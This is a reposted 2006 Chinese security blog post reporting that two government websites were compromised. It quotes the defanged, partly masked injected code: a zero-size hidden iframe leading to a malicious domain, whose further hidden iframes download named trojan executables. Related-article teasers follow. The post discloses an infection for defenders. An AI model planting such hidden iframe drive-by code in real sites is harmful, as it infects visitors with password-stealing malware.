两个下载恶意程序文件的政府网站换花样了

客官°小女子只卖身不卖艺 2024-04-20 11:13 0阅读 0赞

**endurer**　原创

2006-08-22 第**1**版

今天又看了看[![authorship.gif][] 两个会自动下载恶意程序文件的政府网站][authorship.gif_] 一文中的两个网站，发现换了花样。

两个网站首页末均被加入：

/---------  
＜iframe src="hxxp://www.wzx\*\*\*qy.com/" width="0" height="0" frameborder="no" border="0" marginwidth="0" marginheight="0" scrolling="no"＞＜/iframe＞  
\---------/

**hxxp://www.wzx\*\*\*qy.com/** 的代码为：  
/---------  
＜script language="javascript" src="hxxp://count1\*\*\*0.51yes.com/click.aspx?id=106674545&logo=8"＞＜/script＞  
＜iframe src=hxxp://www.wzx\*\*\*qy.com/2\*\*/index.htm width=0 height=0＞＜/iframe＞  
＜iframe src=hxxp://www.wzx\*\*\*qy.com/1\*\*/index.htm width=0 height=0＞＜/iframe＞  
＜iframe src=hxxp://www.wzx\*\*\*qy.com/3\*\*/index.htm width=0 height=0＞＜/iframe＞  
\---------/

分别下载恶意文件：

**qq.exe**  
**zhengtu.exe**（Kaspersky 报为 **Trojan-PSW.Win32.Delf.ob**）  
**jianghu.exe**

[authorship.gif]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/15/2139b465e0c84e248265a02ec61f0f62.gif
[authorship.gif_]: http://blog.csdn.net/Purpleendurer/archive/2006/08/18/1095886.aspx

发表评论取消回复

表情：

评论列表（有 0 条评论，0人围观）

还没有评论，来说两句吧...

相关阅读

相关一个被挂木马的政府网站

*endurer**　原创 2006-09-21　第**1**版该网站首页被加入代码： /-------- ＜script language="JavaS...

布满荆棘的人生/ 2024年04月20日 11:18/ 0 赞/ 5 阅读

相关传播蠕虫维金/Worm.Viking.cx的QQ尾巴换了花样

endurer　原创 2006-10-01　第 1版 QQ自动发送的信息为： /------- 看看我最近的照片~~~ 才扫描到Q-Zone空间上的。是不是有点太

╰半夏微凉°/ 2024年03月17日 15:02/ 0 赞/ 5 阅读

相关 python 交换两个数字_交换两个数字的Python程序

![f1422893d77d710e98a000d2b10077be.png][] python 交换两个数字 Here you will get python progr

悠悠/ 2022年12月07日 13:58/ 0 赞/ 136 阅读

相关 git rebase 两个交叉branch换基

1 向下游移动base 下游移动base,根节点是两个分支的交叉点 1.初始化数据 c54f8b7 (HEAD -> b) version3 b |

╰半橙微兮°/ 2022年11月10日 14:29/ 0 赞/ 96 阅读

相关 hbuilderX将tab制表符换成两个空格

项目用了严格模式之后，四个空格就会报错，所以我们为了方便要把制表符换成两个空格工具>>编辑将制表符长度由4改为2，顺便勾上空格代替制表符即可 ![watermark_

川长思鸟来/ 2022年10月02日 11:49/ 0 赞/ 330 阅读

相关花样灯

include <reg51.h> void delay(unsigned int n) { while(--n);

落日映苍穹つ/ 2022年07月11日 06:57/ 0 赞/ 123 阅读

相关推荐两个软件下载网站：多特和绿盟

第一个推荐 [多特软件站][Link 1]（[http://www.duote.com][Link 1]）：　　推荐理由：人气很高，每个下载页面都有众多用户评论（可用于预先

怼烎@/ 2022年05月15日 06:26/ 0 赞/ 78 阅读

相关几个下载ubuntu的网站

推荐几个ubuntu16.04的下载地址这速度感觉比官网快多了自己的环境试了一下，阿里的速度最快,但是不知道为什么，下载60%之后，就不动了，很郁闷，可能是我

痛定思痛。/ 2022年03月18日 10:24/ 0 赞/ 219 阅读

相关 flex让盒子超出两个换行

html写法：注意我这里用的是uni-app的语法，view就是div 其他相同 <view class="abitem"> <view class="

迷南。/ 2021年12月11日 12:47/ 0 赞/ 421 阅读

相关恶意代码分析实战——分析恶意pdf文件

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ub

喜欢ヅ旅行/ 2021年07月25日 21:29/ 0 赞/ 467 阅读